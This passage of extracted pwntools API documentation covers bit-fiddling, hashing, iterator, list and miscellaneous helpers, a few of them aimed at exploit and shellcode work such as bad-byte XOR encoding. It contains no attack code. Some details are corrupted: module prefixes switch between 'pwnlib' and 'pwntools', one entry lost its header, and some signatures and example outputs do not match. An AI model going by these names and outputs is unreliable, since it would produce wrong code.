>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

pwnlib.util.fiddling.**bnot**(*value*, *width=None*)
Returns the binary inverse of 'value'.

`pwntools.util.fiddling.enhex(x) → str`
Hex-encodes a bytes or string.

Example

```
>>> enhex("test")
'74657374'
```

`pwntools.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False)`

hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False) → str
generator

Parameters

- **s** (*str*, *bytes*) – The data to hexdump.
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte sequences to highlight. A byte sequence is an iterable where each element is either a character or an integer, or *None* which means “any byte”. Output lines containing a match will have a “<” appended (hint: grep for “<\$”).

`pwntools.util.fiddling.hexdump_iter(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False)`

hexdump_iter(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False) → str
generator

Return a hexdump-dump of a string as a generator of lines.

Parameters

- **s** (*str*) – The string to dump
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A hexdump-dump in the form of a string.

`pwntools.util.fiddling.hexii(s, width=16, skip=True) → str`

Return a HEXII-dump of a string.

Parameters

- **s** (*str*) – The string to dump
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Should repeated lines be replaced by a “*”

Returns A HEXII-dump in the form of a string.

`pwntools.util.fiddling.isprint(s) → bool`
Return True if the argument is printable

Example

```
>>> isprint(ord('a'))
True
>>> isprint('abc')
True
>>> isprint('{')
False
>>> isprint(b'abc')
True
>>> isprint(b'{')
False
```

`pwntools.util.fiddling.naf(int) → int generator`
Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates *z₀*, *z₁*, ..., then $n == z_0 + z_1 * 2 + z_2 * 2**2, \dots$

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwntools.util.fiddling.negate(value, width=None)`
Returns the two’s complement of ‘value’.

`pwntools.util.fiddling.randoms(count, alphabet=string.ascii_lowercase) → str`
Returns a random string of a given length using only the specified alphabet.

Parameters

- **count** (*int*) – The length of the desired string.
- **alphabet** (*str*) – The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10)
'evafjilupm'
>>> randoms(10, alphabet=b'abcdef')
b'dcacbfccdc'
```

`pwnlib.util.fiddling.rol(n, k, word_size=None)`

Returns a rotation by k of n .

When n is a number, then means $((n \ll k) | (n \gg (word_size - k)))$ truncated to $word_size$ bits.

When n is a list, tuple or string, this is $n[k \% len(n) :] + n[:k \% len(n)]$.

Parameters

- **n** – The value to rotate.
- **k** (*int*) – The rotation amount. Can be a positive or negative number.
- **word_size** (*int*) – If n is a number, then this is the assumed bitsize of n . Defaults to `pwnlib.context.word_size` if *None*.

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

`pwnlib.util.fiddling.ror(n, k, word_size=None)`

A simple wrapper around `rol()`, which negates the values of k .

`pwnlib.util.fiddling.unbits(s, endian='big') → bytes`

Converts an iterable of bits into a string.

Parameters

- **s** – Iterable of bits
- **endian** (*str*) – The string “little” or “big”, which specifies the bits endianness.

Returns A string of the decoded bits.

Example

```
>>> unbits([1])
b'\x80'
>>> unbits([1], endian='little')
b'\x01'
>>> unbits(bits('hello'), endian='little')
b'\x16\xa666\xf6'
```

`pwnlib.util.fiddling.unhex(s)` → bytes
Hex-decodes a bytes or string.

Example

```
>>> unhex("74657374")
b'test'
>>> unhex("F\n")
b'\x0f'
```

`pwnlib.util.fiddling.urldecode(s, ignore_invalid=False)` → bytes
URL-decodes a bytes or string.

Example

```
>>> urldecode("test%20%41")
b'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid=True)
b'%qq'
```

`pwnlib.util.fiddling.urlencode(s)` → str
URL-encodes a bytes or string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

`pwnlib.util.fiddling.xor(*args, cut='max')` → bytes
Flattens its arguments using `pwnlib.util.packing.flat()` and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **args** – The arguments to be xor'ed together.
- **cut** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

Example

```
>>> xor('lol', 'hello', 42)
b'. ***'
```

`pwnlib.util.fiddling.xor_key(data, avoid='x00n', size=None)` → None or (bytes, bytes)
Finds a size-width value that can be XORed with a string to produce data, while neither the XOR value or XOR string contain any bytes in avoid.

Parameters

- **data** (*bytes, str*) – The desired string.
- **avoid** (*bytes, str*) – The list of disallowed characters. Defaults to nulls and newlines.
- **size** (*int*) – Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key("Hello, world")
(b'\x01\x01\x01\x01', b'Idmmn-!vnsme')
```

`pwnlib.util.fiddling.xor_pair` (*data, avoid=b'x00n'*) -> *None or (bytes, bytes)*
 Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- **data** (*bytes, str*) – The desired string.
- **avoid** (*bytes, str*) – The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then None is returned.

Example

```
>>> xor_pair("test")
(b'\x01\x01\x01\x01', b'udru')
```

2.26 pwnlib.util.hashes — Hashing functions

Functions for computing various hashes of files and strings.

`pwnlib.util.hashes.md5file` (*x*)

Calculates the md5 sum of a file

`pwnlib.util.hashes.md5filehex` (*x*)

Calculates the md5 sum of a file; returns hex-encoded

`pwnlib.util.hashes.md5sum` (*x*)

Calculates the md5 sum of a string

`pwnlib.util.hashes.md5sumhex` (*x*)

Calculates the md5 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha1file` (*x*)

Calculates the sha1 sum of a file

`pwnlib.util.hashes.sha1filehex` (*x*)

Calculates the sha1 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha1sum` (*x*)

Calculates the sha1 sum of a string

`pwnlib.util.hashes.sha1sumhex` (*x*)

Calculates the sha1 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha224file(x)`
Calculates the sha224 sum of a file

`pwnlib.util.hashes.sha224filehex(x)`
Calculates the sha224 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha224sum(x)`
Calculates the sha224 sum of a string

`pwnlib.util.hashes.sha224sumhex(x)`
Calculates the sha224 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha256file(x)`
Calculates the sha256 sum of a file

`pwnlib.util.hashes.sha256filehex(x)`
Calculates the sha256 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha256sum(x)`
Calculates the sha256 sum of a string

`pwnlib.util.hashes.sha256sumhex(x)`
Calculates the sha256 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha384file(x)`
Calculates the sha384 sum of a file

`pwnlib.util.hashes.sha384filehex(x)`
Calculates the sha384 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha384sum(x)`
Calculates the sha384 sum of a string

`pwnlib.util.hashes.sha384sumhex(x)`
Calculates the sha384 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha512file(x)`
Calculates the sha512 sum of a file

`pwnlib.util.hashes.sha512filehex(x)`
Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha512sum(x)`
Calculates the sha512 sum of a string

`pwnlib.util.hashes.sha512sumhex(x)`
Calculates the sha512 sum of a string; returns hex-encoded

2.27 pwnlib.util.iters — Extension of standard module `itertools`

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.bruteforce(func, alphabet, length, method='upto', start=None)`
Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- **func** (*function*) – The function to bruteforce.
- **alphabet** – The alphabet to draw symbols from.
- **length** – Longest string to try.
- **method** – If ‘upto’ try strings of length 1 .. length, if ‘fixed’ only try strings of length length and if ‘downfrom’ try strings of length length .. 1.
- **start** – a tuple (*i*, *N*) which splits the search space up into *N* pieces and starts at piece *i* (1..N). None is equivalent to (1, 1).

Returns A string *s* such that `func(s)` returns True or None if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.ascii_lowercase, length=10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hlllo', 5) is None
True
```

`pwnlib.util.iters.mbruteforce` (*func*, *alphabet*, *length*, *method*='upto', *start*=None, *threads*=None)

Same functionality as `bruteforce()`, but multithreaded.

Parameters

- **alphabet**, **length**, **method**, **start** (*func*,) – same as for `bruteforce()`
- **threads** – Amount of threads to spawn, default is the amount of cores.

`pwnlib.util.iters.chained` (*func*)

A decorator chaining the results of *func*. Useful for generators.

Parameters **func** (*function*) – The function being decorated.

Returns A generator function whose elements are the concatenation of the return values from `func(*args, **kwargs)`.

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

`pwnlib.util.iters.consume` (*n*, *iterator*)

Advance the iterator *n* steps ahead. If *n* is *const*: 'None', consume everything.

Parameters

- **n** (*int*) – Number of elements to consume.
- **iterator** (*iterator*) – An iterator.

Returns None.

Examples

```

>>> i = count()
>>> consume(5, i)
>>> next(i)
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]

```

`pwntools.util.iters.cyclen(n, iterable) → iterator`

Repeats the elements of *iterable* *n* times.

Parameters

- **n** (*int*) – The number of times to repeat *iterable*.
- **iterable** – An iterable.

Returns An iterator whose elements are the elements of *iterable* repeated *n* times.

Examples

```

>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]

```

`pwntools.util.iters.dotproduct(x, y) → int`

Computes the dot product of *x* and *y*.

Parameters

- **x** (*iterable*) – An iterable.
- **y** – An iterable.

Returns $x[0] * y[0] + x[1] * y[1] + \dots$

Return type The dot product of *x* and *y*, i.e.

Example

```

>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32

```

`pwntools.util.iters.flatten(xss) → iterator`

Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whose elements is the concatenation of the elements of *xss*.

Parameters **xss** – An iterable of iterables.

Returns An iterator whose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()])))
[43, 42, 41, 40, 0, 1]
```

`pwntools.util.iters.group(n, iterable, fill_value=None)` → iterator

Similar to `pwntools.util.lists.group()`, but returns an iterator and uses `itertools` fast build-in functions.

Parameters

- **n** (*int*) – The group size.
- **iterable** – An iterable.
- **fill_value** – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
['ABC', 'DEF', 'Gxx']
```

`pwntools.util.iters.iter_except(func, exception)`

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

Parameters

- **func** – The function to call.
- **exception** (*exception*) – The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> next(i)
1
>>> next(i)
2
>>> next(i)
3
>>> next(i)
Traceback (most recent call last):
```

```
...
StopIteration
```

`pwnlib.util.iters.lexicographic` (*alphabet*) → iterator

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

Parameters *alphabet* – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, map(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

`pwnlib.util.iters.lookahead` (*n*, *iterable*) → object

Inspects the upcoming element at index *n* without advancing the iterator. Raises `IndexError` if *iterable* has too few elements.

Parameters

- *n* (*int*) – Index of the element to return.
- *iterable* – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> next(i)
0
>>> i = count()
>>> nth(4, i)
4
>>> next(i)
5
>>> lookahead(4, i)
10
```

`pwnlib.util.iters.nth` (*n*, *iterable*, *default=None*) → object

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- *n* (*int*) – Index of the element to return.
- *iterable* – An iterable.
- *default* (*object*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

`pwntools.util.iters.pad(iterable, value=None) → iterator`

Pad an *iterable* with *value*, i.e. returns an iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.
- **value** – The value to pad with.

Returns An iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

`pwntools.util.iters.pairwise(iterable) → iterator`

Parameters **iterable** – An iterable.

Returns An iterator whose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

`pwntools.util.iters.powerset(iterable, include_empty=True) → iterator`

The powerset of an iterable.

Parameters

- **iterable** – An iterable.
- **include_empty** (*bool*) – Whether to include the empty set.

Returns The powerset of *iterable* as an iterator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty=False))
[(0,), (1,), (0, 1)]
```

`pwnlib.util.iters.quantify(iterable, pred=bool) → int`
Count how many times the predicate *pred* is True.

Parameters

- **iterable** – An iterable.
- **pred** – A function that given an element from *iterable* returns either True or False.

Returns The number of elements in *iterable* for which *pred* returns True.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

`pwnlib.util.iters.random_combination(iterable, r) → tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations(iterable, r=r)`.

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r=2) in combinations(range(10), r=2)
True
```

`pwnlib.util.iters.random_combination_with_replacement(iterable, r)`
`random_combination(iterable, r) -> tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations_with_replacement(iterable, r=r)`.

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r=2)
>>> random_combination_with_replacement(range(10), r=2) in i
True
```

`pwntools.util.iters.random_permutation(iterable, r=None)`
`random_product(iterable, r=None) -> tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the permutation. If None select all elements in *iterable*.

Returns A random element from `itertools.permutations(iterable, r=r)`.

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r=2) in permutations(range(10), r=2)
True
```

`pwntools.util.iters.random_product(*args, repeat=1) -> tuple`

Parameters

- **args** – One or more iterables
- **repeat** (*int*) – Number of times to repeat *args*.

Returns A random element from `itertools.product(*args, repeat=repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat=2) in product(*args, repeat=2)
True
```

`pwntools.util.iters.repeat_func(func, *args, **kwargs) -> iterator`

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.

Parameters

- **func** (*function*) – The function to call.
- **args** – Positional arguments.
- **kwargs** – Keyword arguments.

Returns An iterator whose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```

>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x=42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
...
TypeError: f() takes exactly 0 arguments (1 given)

```

`pwntools.util.iters.roundrobin(*iterables)`

Take elements from *iterables* in a round-robin fashion.

Parameters **iterables* – One or more iterables.

Returns An iterator whose elements are taken from *iterables* in a round-robin fashion.

Examples

```

>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'

```

`pwntools.util.iters.tabulate(func, start=0) → iterator`

Parameters

- **func** (*function*) – The function to tabulate over.
- **start** (*int*) – Number to start on.

Returns An iterator with the elements `func(start)`, `func(start + 1)`, ...

Examples

```

>>> take(2, tabulate(str))
['0', '1']
>>> take(5, tabulate(lambda x: x**2, start=1))
[1, 4, 9, 16, 25]

```

`pwntools.util.iters.take(n, iterable) → list`

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Number of elements to take.

- **iterable** – An iterable.

Returns A list of the first n elements of *iterable*. If there are fewer than n elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

`pwnlib.util.iters.unique_everseen(iterable, key=None) → iterator`

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not `None` then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

`pwnlib.util.iters.unique_justseen(iterable, key=None)`
`unique_everseen(iterable, key=None) -> iterator`

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not `None` then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

`pwnlib.util.iters.unique_window(iterable, window, key=None)`
`unique_everseen(iterable, window, key=None) -> iterator`

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be remembered is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **iterable** – An iterable.
- **window** (*int*) – The number of elements to remember.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

class `pwnlib.util.iters.filterfalse`
`filterfalse(function or None, sequence) -> filterfalse object`

Return those items of sequence for which `function(item)` is false. If `function` is `None`, return the items that are false.

class `pwnlib.util.iters.zip_longest`
`zip_longest(iter1 [,iter2 [...]], [fillvalue=None]) -> zip_longest object`

Return a `zip_longest` object whose `__next__()` method returns a tuple where the *i*-th element comes from the *i*-th iterable argument. The `__next__()` method continues until the longest iterable in the argument sequence is exhausted and then it raises `StopIteration`. When the shorter iterables are exhausted, the `fillvalue` is substituted in their place. The `fillvalue` defaults to `None` or can be specified by a keyword argument.

`pwnlib.util.iters.chain()`
 Alias for `itertools.chain()`.

`pwnlib.util.iters.combinations()`
 Alias for `itertools.combinations()`

`pwnlib.util.iters.combinations_with_replacement()`
 Alias for `itertools.combinations_with_replacement()`

`pwnlib.util.iters.compress()`
 Alias for `itertools.compress()`

`pwnlib.util.iters.count()`
 Alias for `itertools.count()`

`pwnlib.util.iters.cycle()`
 Alias for `itertools.cycle()`

`pwnlib.util.iters.dropwhile()`
 Alias for `itertools.dropwhile()`

`pwnlib.util.iters.groupby()`
Alias for `itertools.groupby()`

`pwnlib.util.iters.ifilter()`
Alias for `itertools.ifilter()`

`pwnlib.util.iters.ifilterfalse()`
Alias for `itertools.ifilterfalse()`

`pwnlib.util.iters.imap()`
Alias for `itertools.imap()`

`pwnlib.util.iters.islice()`
Alias for `itertools.islice()`

`pwnlib.util.iters.izip()`
Alias for `itertools.izip()`

`pwnlib.util.iters.izip_longest()`
Alias for `itertools.izip_longest()`

`pwnlib.util.iters.permutations()`
Alias for `itertools.permutations()`

`pwnlib.util.iters.product()`
Alias for `itertools.product()`

`pwnlib.util.iters.repeat()`
Alias for `itertools.repeat()`

`pwnlib.util.iters.starmap()`
Alias for `itertools.starmap()`

`pwnlib.util.iters.takewhile()`
Alias for `itertools.takewhile()`

`pwnlib.util.iters.tee()`
Alias for `itertools.tee()`

2.28 `pwnlib.util.lists` — Operations on lists

`pwnlib.util.lists.concat(l)` → list
Concat a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])  
[1, 2, 3]
```

`pwnlib.util.lists.concat_all(*args)` → list
Concat all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [[[4, 5, 6]]])  
[0, 1, 2, 3, 4, 5, 6]
```

`pwnlib.util.lists.findall(l, e) → l`

Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1, 2, 3, 4, 4, 3, 4, 2, 1], 4)
>>> next(foo)
3
>>> next(foo)
4
>>> next(foo)
6
```

`pwnlib.util.lists.group(n, lst, underfull_action='ignore', fill_value=None) → list`

Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in `fill_value`.

Parameters

- **n** (*int*) – The size of resulting groups
- **lst** – The list, tuple or string to group
- **underfull_action** (*str*) – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- **fill_value** – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFGG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFGG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFGG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFGG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

`pwnlib.util.lists.ordlist(s) → list`

Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

`pwnlib.util.lists.partition(lst, f, save_keys=False) → list`

Partitions an iterable into sublists using a function to specify which group they belong to.

It works by calling `f` on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **lst** – The iterable to partition

- **f** (*function*) – The function to use as the partitioner.
- **save_keys** (*bool*) – Set this to True, if you want the OrderedDict returned instead of just the values

Example

```
>>> partition([1, 2, 3, 4, 5], lambda x: x & 1)
[[1, 3, 5], [2, 4]]
```

`pwnlib.util.lists.unordlist(cs)` → str
Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.29 pwnlib.util.misc — We could not fit it any other place

`pwnlib.util.misc.align(alignment, x)` → int
Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

`pwnlib.util.misc.align_down(alignment, x)` → int
Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

`pwnlib.util.misc.binary_ip(host)` → bytes
Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
b'\x7f\x00\x00\x01'
```

`pwnlib.util.misc.dealarm_shell(tube)`
Given a tube which is a shell, dealarm it.

`pwnlib.util.misc.force_bytes(s)` → bytes
Ensures the given argument is of type bytes

Example

```
>>> force_bytes(b'abc')
b'abc'
>>> force_bytes('abc')
b'abc'
>>> force_bytes(1)
Traceback (most recent call last):
...
TypeError: Expecting a value of type bytes or str, got 1
```

`pwnlib.util.misc.mkdir_p(path)`
Emulates the behavior of `mkdir -p`.

`pwnlib.util.misc.parse_ldd_output(output)`
Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters `output` (*bytes, str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output(''
...     linux-vdso.so.1 => (0x00007ffffb5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... '' ).keys()
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '/lib/x86_64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
```

`pwnlib.util.misc.read(path, count=-1, skip=0, mode='r')` → bytes or str
Open file, return content.

Examples

```
>>> read('pwnlib/util/misc.py').split('\n')[0]
'import base64'
```

`pwnlib.util.misc.register_sizes(regs, in_sizes)`
Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax', 'ax', 'al', 'ah']) and a list of input sizes, it returns the following:

- `all_regs` : list of all valid registers
- `sizes[reg]` : the size of reg in bits
- `bigger[reg]` : list of overlapping registers bigger than reg
- `smaller[reg]` : list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.


```
>>> print(sh_string("foo\\'bar"))
foo\\'bar"
>>> print(sh_string("foo\\x01'bar"))
$( (echo Zm9vASdiYXI=|base64 -d|openssl enc -d -base64)||echo -en 'foo\x01\x27bar') 2>/dev/nu
>>> print(subprocess.check_output("echo -n " + sh_string("foo\\'bar"), shell=True))
b"foo\\'bar"
```

pwnlib.util.misc.**size**(*n*, *abbriv*='B', *si*=False) → str
Convert the length of a bytestream to human readable form.

Parameters

- **n** (*int*, *str*) – The length to convert to human readable form
- **abbriv** (*str*) –

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, si=True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
```

pwnlib.util.misc.**uniform_strings**(*args) → bytes or str list
Returns all arguments casted into the less exclusive string type (bytes or str)

Example

```
>>> uniform_strings('a', 'b', 'c')
('a', 'b', 'c')
>>> uniform_strings('a', b'b', 'c')
(b'a', b'b', b'c')
>>> uniform_strings(b'a', b'b', b'c')
(b'a', b'b', b'c')
```

pwnlib.util.misc.**which**(*name*, *flags*=os.X_OK, *all*=False) → str or str set
Works as the system command which; searches \$PATH for *name* and returns a full path if found.
If *all* is True the set of all found locations is returned, else the first occurrence or None is returned.

Parameters

- **name** (*str*) – The file to search for.
- **all** (*bool*) – Whether to return all locations where *name* was found.

Returns If *all* is True the set of all locations where *name* was found, else the first location or None if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

`pwnlib.util.misc.write` (*path*, *data*='', *create_dir*=False, *mode*='w')

Create new file or truncate existing to zero length and write data.

2.30 pwnlib.util.net — Networking interfaces

`pwnlib.util.net.getifaddrs` () → dict list

